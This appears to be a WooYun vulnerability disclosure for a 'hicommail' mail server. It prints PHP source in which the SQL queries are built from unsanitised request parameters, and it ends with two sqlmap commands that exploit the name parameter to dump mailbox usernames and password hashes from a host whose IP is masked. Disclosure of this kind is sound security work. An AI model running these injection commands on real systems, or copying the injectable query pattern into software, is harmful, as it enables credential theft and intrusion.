WooYun.org

./overflow_alarm.php


./sms_send.php


./src/old.rule.php


./src/public_folders_upload.php


./src/big_attach.php


./src/big_att_upload.php


./src/read_data.php


./src/upload.php


./sync/linkman.php

<?php


require_once 'conn.php';





function outputUsers($export_range='', $group_id=0, $part=0){


	global $name,$msg;


	if($export_range == 'public'){


		$query = " AND `group_remark`='public|'";


		$query2 = " AND `adscription`='public'";


	}else{


		$query = " AND `group_remark`='private|".$name."'";


		$query2 = " AND `adscription`='".$name."'";


	}


	$sql = "SELECT * FROM `groups` WHERE `fid`='".$group_id."' ".$query;


	$res = mysql_query($sql);


	while($rs = mysql_fetch_array($res)){


		


		echo "<group_$part><groupId>".$rs['group_id']."</groupId><groupName>".$rs['group_name']."</groupName>";


		$sqlg = "SELECT * FROM `groups` WHERE `fid`='".$rs['group_id']."' ".$query;


		$resg = mysql_query($sqlg);


		if($rsg = mysql_fetch_array($resg)){


			outputUsers($export_range,$rs['group_id'],$part+1);


		}


		// 列出此组下联系人


		$sqll = "SELECT * FROM `linkman` WHERE `group_id`='".$rs['group_id']."' $query2 ORDER BY convert(`name` using GBK) ";


		$resl = mysql_query($sqll);


		while ($rsl=mysql_fetch_array ($resl)) {


			echo "<linkman>


				<email>".$rsl['mail_addr']."</email>


				<name>".$rsl['name']."</name>


				</linkman>";


		}


		echo "</group_$part>";


	}


}


$group_id = $_POST['group_id'] ? $_POST['group_id'] : $_GET['group_id'];


$export_range = $_POST['export_range'] ? $_POST['export_range'] : $_GET['export_range'];





echo '<'.'?xml version="1.0" encoding="utf-8"?'.'>';


echo '<hechen>';


echo '<public>';


outputUsers('public');


echo '</public>';


echo '<private>';


outputUsers();


echo '</private>';


echo '</hechen>';


?>

<?php


header('Content-type: text/xml');


error_reporting(0);


ini_set("display_errors", "0");





$dbserver = 'localhost';


$dbuser = 'syssql';


$dbuserpw = 'h*****8';





$msg = '';


$link = mysql_connect($dbserver,$dbuser,$dbuserpw) or setError('Cannot connect to the DB');


mysql_select_db('hicommail',$link) or setError('Cannot select the DB');


mysql_query("set names utf8");





$name = $_POST['name'] ? $_POST['name'] : $_GET['name'];


$token = $_POST['token'] ? $_POST['token'] : $_GET['token'];





if(!$name || !$token){


	setError("Token can't be empty");


}else{


	$sql = "SELECT * FROM `mailbox` WHERE `username` = '".$name."'";


	$result = mysql_query($sql,$link);


	$row = mysql_fetch_assoc($result);


	if(!$row['password']){


		setError('Token does not exist');


	}elseif($row['active']=="0"){


		setError('This account has been frozen');


	}else{


		$sql = "SELECT * FROM `define_para` WHERE `user_name`='$name' ";


		$result = mysql_query($sql);


		if($rs = mysql_fetch_array($result)) {


			if(time()-$rs['trydate']<120 && $rs['trytimes']>=3) {


				mysql_query("UPDATE `define_para` SET `trydate`=".time()." WHERE `user_name`='$name'  ");


				setError('Try too frequently, please try again after two minutes');


			}else{


				if($row['password'] != crypt($token,$row["password"])){


					$sql = "SELECT * FROM `define_para` WHERE `user_name`='$name' ";


					$result = mysql_query($sql);


					if($rs = mysql_fetch_array($result)) {


						if(time()-$rs['trydate']<120) {


							$rs['trytimes']++;


							mysql_query("UPDATE `define_para` SET `trytimes`=`trytimes`+1 WHERE `user_name`='$name'  ");


						}else{


							$rs['trytimes'] = 1;


							mysql_query("UPDATE `define_para` SET `trydate`='".time()."',`trytimes`=1 WHERE `user_name`='$name'  ");


						}


					}


					if( (3-$rs['trytimes'])>0 ){


						setError(sprintf('Login fails, you can try %d times', (3-$rs['trytimes'])));


					}else{


						setError('Try too frequently, please try again after two minutes');


					}


				}


			}


		}


	}


}


function setError($msg){


	echo '<'.'?xml version="1.0" encoding="utf-8"?'.'>';


	echo "<error>$msg</error>";


	exit;


}


?>

sqlmap -u "http://**.**.**.**:889/sync/conn.php?name=admin' or '1'='1 *&token=1" --dbms=mysql --technique=B --dbs --threads=5

sqlmap -u "http://**.**.**.**:889/sync/conn.php?name=admin' or '1'='1 *&token=1" --dbms=mysql --technique=B --threads=5 -D hicommail -T mailbox -C username,password --dump